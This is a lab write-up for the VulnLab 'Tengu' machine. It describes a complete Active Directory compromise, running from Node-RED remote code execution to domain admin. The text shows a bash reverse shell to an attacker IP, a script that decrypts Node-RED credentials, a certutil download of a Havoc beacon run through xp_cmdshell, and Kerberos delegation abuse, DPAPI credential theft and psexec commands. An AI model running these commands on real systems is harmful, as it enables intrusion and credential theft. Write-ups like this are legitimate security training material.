VulnLab Tengu
VulnLab Tengu
VulnLab Tengu
Tengu
Recon
1
2
3
4
5
└─$ rustscan -g -a 10.10.157.37,10.10.157.38,10.10.157.39 -r 1-65535
10.10.157.38 -> [3389]
10.10.157.37 -> [3389]
10.10.157.39 -> [22,1880]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ nmap -sC -sV -p3389 10.10.157.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 21:11 +05
Nmap scan report for 10.10.157.37
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.tengu.vl
| Not valid before: 2025-01-11T16:03:09
|_Not valid after: 2025-07-13T16:03:09
|_ssl-date: 2025-01-12T16:10:10+00:00; -1m20s from scanner time.
| rdp-ntlm-info:
| Target_Name: TENGU
| NetBIOS_Domain_Name: TENGU
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: tengu.vl
| DNS_Computer_Name: DC.tengu.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-01-12T16:10:06+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1m19s, deviation: 0s, median: -1m20s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.30 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ nmap -sC -sV -p3389 10.10.157.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 21:11 +05
Nmap scan report for 10.10.157.38
Host is up (0.095s latency).
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SQL.tengu.vl
| Not valid before: 2025-01-11T16:03:15
|_Not valid after: 2025-07-13T16:03:15
|_ssl-date: 2025-01-12T16:10:35+00:00; -1m20s from scanner time.
| rdp-ntlm-info:
| Target_Name: TENGU
| NetBIOS_Domain_Name: TENGU
| NetBIOS_Computer_Name: SQL
| DNS_Domain_Name: tengu.vl
| DNS_Computer_Name: SQL.tengu.vl
| DNS_Tree_Name: tengu.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-01-12T16:10:30+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1m20s, deviation: 0s, median: -1m20s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.24 seconds
1
2
3
4
5
6
7
8
9
10
11
12
└─$ nmap -sC -sV -p22,1880 10.10.157.39
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-12 21:10 +05
Nmap scan report for 10.10.157.39
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
1880/tcp filtered vsat-control
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.47 seconds
Nodered.tengu.vl
On port 1880 we find Node-Red application running
There’s a blog, that explains how to gain RCE in Node-Red. Let’s try to exploit it. We need to use exec node/function.
Let’s host reverse shell file
1
/bin/bash -i >& /dev/tcp/10.8.4.147/6666 0>&1
Start listener and set command in Node-Red and deploy the workflow
We receive our shell
1
2
3
4
5
6
└─$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.8.4.147] from (UNKNOWN) [10.10.157.39] 54476
bash: cannot set terminal process group (434): Inappropriate ioctl for device
bash: no job control in this shell
nodered_svc@nodered:/opt/nodered$
We can upgrade our shell with
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Run
script /dev/null -c bash
# Or
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then press CTRL+Z
# Then run
stty raw -echo;fg
# Then run
export TERM=xterm
# In case we need to modify columns and rows, run 'stty -a' in attack box terminal to find values
# Then
stty rows <ROWS_NUMBER>
stty cols <COLUMNS_NUMBER>
We find /opt/nodered/.node-red folder, that contains flows_cred file with credentials (same folder can be found in nodered_svc’s home directory directory)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nodered_svc@nodered:/opt/nodered$ ls -lha .node-red
total 184K
drwxr-xr-x 4 nodered_svc nodered_svc 4,0K Mär 10 2024 .
drwxr-xr-x 3 nodered_svc nodered_svc 4,0K Mär 9 2024 ..
-rw-r--r-- 1 nodered_svc nodered_svc 16K Mär 10 2024 .config.nodes.json
-rw-r--r-- 1 nodered_svc nodered_svc 15K Mär 10 2024 .config.nodes.json.backup
-rw-r--r-- 1 nodered_svc nodered_svc 133 Mär 10 2024 .config.runtime.json
-rw-r--r-- 1 root root 40 Mär 10 2024 .config.runtime.json.backup
-rw-r--r-- 1 nodered_svc nodered_svc 661 Mär 10 2024 .config.users.json
-rw-r--r-- 1 nodered_svc nodered_svc 541 Mär 10 2024 .config.users.json.backup
-rw-r--r-- 1 root root 163 Mär 10 2024 flows_cred.json
-rw-r--r-- 1 root root 191 Mär 10 2024 .flows_cred.json.backup
-rw-r--r-- 1 root root 3,0K Mär 10 2024 flows.json
-rw-r--r-- 1 root root 3,0K Mär 10 2024 .flows.json.backup
drwxr-xr-x 3 nodered_svc nodered_svc 4,0K Mär 9 2024 lib
drwxr-xr-x 123 nodered_svc nodered_svc 4,0K Mär 9 2024 node_modules
-rw-r--r-- 1 nodered_svc nodered_svc 199 Mär 10 2024 package.json
-rw-r--r-- 1 nodered_svc nodered_svc 75K Mär 10 2024 package-lock.json
-rw-rw-r-- 1 nodered_svc nodered_svc 23K Mär 10 2024 settings.js
Yet, we find identical folder in
1
2
3
4
nodered_svc@nodered:~/.node-red$ cat flows_cred.json
{
"$": "7f5ab122acc2c24df1250a302916c1a6QT2eBZTys+V0xdb7c6VbXMXw2wbn/Q3r/ZcthJlrvm3XLJ8lSxiq+FAWF0l3Bg9zMaNgsELXPXfbKbJPxtjkD9ju+WJrZBRq/O40hpJzWoKASeD+w2o="
}
The creds can be related to SQL.tengu.vl. There’s a blog describing the way to decrypt the passwords in Node-Red
Let’s decrypt the password
1
2
3
4
5
6
7
8
9
10
#!/bin/bash
#
# Decrypt flows_cred.json from a NodeRED data directory
#
# Usage
# ./node-red-decrypt-flows-cred.sh ./node_red_data
#
jq '.["$"]' -j $1/flows_cred.json | \
cut -c 33- | \
openssl enc -aes-256-ctr -d -base64 -A -iv `jq -r '.["$"]' $1/flows_cred.json | cut -c 1-32` -K `jq -j '._credentialSecret' $1/.config.runtime.json | sha256sum | cut -c 1-64`
We managed to decrypt the password
1
2
└─$ ./decrypt_password.sh node_red_data
{"d237b4c16a396b9e":{"username":"nodered_connector","password":"<REDACTED>"}}
We have to use chisel to get access to mssql port. After establishing socks tunnel we can finally access the mssql with found credentials
1
2
3
└─$ proxychains -q nxc mssql 10.10.157.38 -u nodered_connector -p <REDACTED> --local-auth
MSSQL 10.10.157.38 1433 SQL [*] Windows Server 2022 Build 20348 (name:SQL) (domain:tengu.vl)
MSSQL 10.10.157.38 1433 SQL [+] SQL\nodered_connector:<REDACTED>
Let’s access it with mssqlclient
1
2
3
4
5
6
7
8
9
10
11
12
└─$ proxychains -q mssqlclient.py nodered_connector:'<REDACTED>'@10.10.157.38
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: Dev
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL): Line 1: Changed database context to 'Dev'.
[*] INFO(SQL): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (nodered_connector nodered_connector@Dev)>
We don’t have executin privileges, but there’s demo database
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SQL (nodered_connector nodered_connector@Dev)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
Demo 0
Dev 0
SQL (nodered_connector nodered_connector@Dev)> use demo;
ENVCHANGE(DATABASE): Old Value: Dev, New Value: Demo
INFO(SQL): Line 1: Changed database context to 'Demo'.
It contains users tables with user credentials
1
2
3
4
5
6
7
8
9
SQL (nodered_connector nodered_connector@Demo)> SELECT * FROM information_schema.tables
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
------------- ------------ ---------- ----------
Demo dbo Users b'BASE TABLE'
SQL (nodered_connector nodered_connector@Demo)> select * from demo.dbo.users;
ID Username Password
---- --------------- -------------------------------------------------------------------
NULL b't2_m.winters' b'<REDACTED>'
Now we can connect via ssh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
└─$ sshpass -p '<REDACTED>' ssh 't2_m.winters@tengu.vl'@10.10.157.39
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
t2_m.winters@tengu.vl@nodered:~$
SQL.tengu.vl
We can not enumerate domain
1
2
└─$ proxychains -q bloodhound-python -d 'tengu.vl' -u 't2_m.winters' -p '<REDACTED>' -c all -ns 10.10.157.37 --zip
INFO: Found AD domain: tengu.vl
It looks like t2_m.winters is a member of Linux_Server_Admins group. Also NODERED$ has ReadGMSAPassword over GMSA01$
We know that user has sudo rights
1
2
3
4
5
6
7
t2_m.winters@tengu.vl@nodered:~$ sudo -l
[sudo] password for t2_m.winters@tengu.vl:
Matching Defaults entries for t2_m.winters@tengu.vl on nodered:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User t2_m.winters@tengu.vl may run the following commands on nodered:
(ALL : ALL) ALL
Since this host is domain joined, we can extract machine’s ntlm hash from /etc/krb5.keytab
1
2
3
4
5
6
7
8
9
10
└─$ ~/tools/red-team/KeyTabExtract/keytabextract.py krb5.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : TENGU.VL
SERVICE PRINCIPAL : NODERED$/
NTLM HASH : <REDACTED>
AES-256 HASH : 4ce11c580289227f38f8cc0225456224941d525d1e525c353ea1e1ec83138096
AES-128 HASH : 3e04b61b939f61018d2c27d4dc0b385f
Let’s extract the GMSA password
1
2
3
4
5
6
└─$ proxychains -q nxc ldap 10.10.157.37 -u 'NODERED$' -H <REDACTED> --gmsa
LDAP 10.10.157.37 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:tengu.vl)
LDAPS 10.10.157.37 636 DC [+] tengu.vl\NODERED$:<REDACTED>
LDAPS 10.10.157.37 636 DC [*] Getting GMSA Passwords
LDAPS 10.10.157.37 636 DC Account: gMSA01$ NTLM: <REDACTED>
LDAPS 10.10.157.37 636 DC Account: gMSA02$ NTLM:
The account has delegation to mssql, so we can’t impersonate to
1
2
3
4
5
6
7
8
9
└─$ proxychains4 -q findDelegation.py tengu.vl/t2_m.winters:'<REDACTED>' -dc-ip dc.tengu.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
----------- ----------------------------------- ---------------------------------- -------------------------- ----------
gMSA01$ ms-DS-Group-Managed-Service-Account Constrained w/ Protocol Transition MSSQLSvc/SQL:1433 No
gMSA01$ ms-DS-Group-Managed-Service-Account Constrained w/ Protocol Transition MSSQLSvc/sql.tengu.vl:1433 Yes
gMSA01$ ms-DS-Group-Managed-Service-Account Constrained w/ Protocol Transition MSSQLSvc/sql.tengu.vl Yes
gMSA01$ ms-DS-Group-Managed-Service-Account Constrained w/ Protocol Transition MSSQLSvc/sql No
We have to find users that are related to mssql, in case have admin privileges. There are 2 users, where t1_c.fowler is in Protected Users group
Thus, we can only impersonate t1_m.winters
1
2
3
4
5
6
7
8
9
10
└─$ proxychains4 -q getST.py -dc-ip dc.tengu.vl -spn MSSQLSvc/sql.tengu.vl 'tengu.vl/gMSA01$:@sql.tengu.vl' -hashes :<REDACTED> -impersonate 't1_m.winters'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating t1_m.winters
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in t1_m.winters@MSSQLSvc_sql.tengu.vl@TENGU.VL.ccache
Now we can connect using ticket
1
2
3
4
5
6
7
8
9
10
11
12
└─$ KRB5CCNAME=t1_m.winters@MSSQLSvc_sql.tengu.vl@TENGU.VL.ccache proxychains4 -q impacket-mssqlclient -k sql.tengu.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL): Line 1: Changed database context to 'master'.
[*] INFO(SQL): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (TENGU\t1_m.winters dbo@master)>
The user has exec permissions
1
2
3
4
5
6
SQL (TENGU\t1_m.winters dbo@master)> exec xp_cmdshell 'whoami'
output
-------------
tengu\gmsa01$
NULL
We will download the havoc beacon
1
2
3
4
5
6
7
8
9
10
11
12
SQL (TENGU\t1_m.winters dbo@master)> exec xp_cmdshell 'certutil.exe -f -urlcache http://10.8.4.147:8000/demon.exe c:\programdata\demon.exe'
output
---------------------------------------------------
**** Online ****
CertUtil: -URLCache command completed successfully.
NULL
SQL (TENGU\t1_m.winters dbo@master)> exec xp_cmdshell 'c:\programdata\demon.exe'
We receive connection and we see we have SeImpersonatePrivileges, so let’s upload potato and exploit it
Run the potato and get system beacon
DC.tengu.vl
We find interesting folder C:\admin with Task.ps1 file, implying that there’s some scheduled task running.
Rinning Seatbelt.exe ScheduledTasks shows that there’s scheduled task running as T0_c.fowler who is a member of Domain Admins group
Let’s try retrieve saved credentials via SharpDPAPI.exe machinetriage /showall
If we check creds, we receive STATUS_ACCOUNT_RESTRICTION
1
2
3
└─$ proxychains -q nxc smb dc.tengu.vl -u T0_c.fowler -p '<REDACTED>'
SMB 224.0.0.1 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:tengu.vl) (signing:True) (SMBv1:False)
SMB 224.0.0.1 445 DC [-] tengu.vl\T0_c.fowler:<REDACTED> STATUS_ACCOUNT_RESTRICTION
This means that user is probably in protected group, thus we can’t login using ntlm method. Thus we have to use kerberos authentication
1
2
3
4
└─$ proxychains -q getTGT.py 'tengu.vl/T0_c.fowler:<REDACTED>' -dc-ip dc.tengu.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in T0_c.fowler.ccache
Now we can use ticket to connect
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ KRB5CCNAME=T0_c.fowler.ccache proxychains -q psexec.py -k -no-pass dc.tengu.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on dc.tengu.vl.....
[*] Found writable share ADMIN$
[*] Uploading file PPqvBFdk.exe
[*] Opening SVCManager on dc.tengu.vl.....
[*] Creating service kQqP on dc.tengu.vl.....
[*] Starting service kQqP.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>
https://api.vulnlab.com/api/v1/share?id=e9da71c3-ef25-404a-bcca-e5e512ebb807
This post is licensed under CC BY 4.0 by the author.